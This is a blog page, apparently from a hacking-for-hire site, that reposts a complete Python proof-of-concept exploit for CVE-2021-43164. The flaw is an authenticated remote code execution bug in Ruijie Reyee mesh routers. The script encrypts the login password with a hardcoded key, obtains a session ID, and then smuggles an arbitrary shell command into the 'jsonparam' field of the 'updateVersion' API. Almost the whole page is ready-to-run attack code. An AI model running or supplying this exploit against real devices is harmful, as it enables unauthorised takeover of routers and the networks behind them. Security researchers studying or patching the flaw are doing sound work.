Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863544758

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
# Google Dork: None
# Date: November 1, 2021
# Exploit Author: Minh Khoa of VSEC
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900
# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE: CVE-2021-43164

#!/usr/bin/python3

import os
import sys
import time
import requests
import json

def enc(PASS):
    key   = "RjYkhwzx$2018!"
    shell = "echo '{}' | openssl enc -aes-256-cbc -a -k '{}' -md md5 2>/dev/null".format(PASS, key)
    return os.popen(shell).read().strip()

try:
    TARGET  = sys.argv[1]
    USER    = sys.argv[2]
    PASS    = sys.argv[3]
    COMMAND = sys.argv[4]
except Exception:
    print("CVE-2021-43164 PoC")
    print("Usage:   python3 exploit.py <target> <user> <pass> <command>")
    print("Example: python3 exploit.py 192.168.110.1 admin password 'touch /tmp/pwned'")
    sys.exit(1)

endpoint = "http://{}/cgi-bin/luci/api/auth".format(TARGET)
payload = {
        "method": "login",
        "params": {
            "username": USER,
            "password": enc(PASS),
            "encry": True,
            "time": int(time.time()),
            "limit": False
            }
        }

r = requests.post(endpoint, json=payload)
sid = json.loads(r.text)["data"]["sid"]

endpoint = "http://{}/cgi-bin/luci/api/wireless?auth={}".format(TARGET, sid)
payload = {
        "method": "updateVersion",
        "params": {
            "jsonparam": "'; {} #".format(COMMAND)
            }
        }

r = requests.post(endpoint, json=payload)
print(r.text)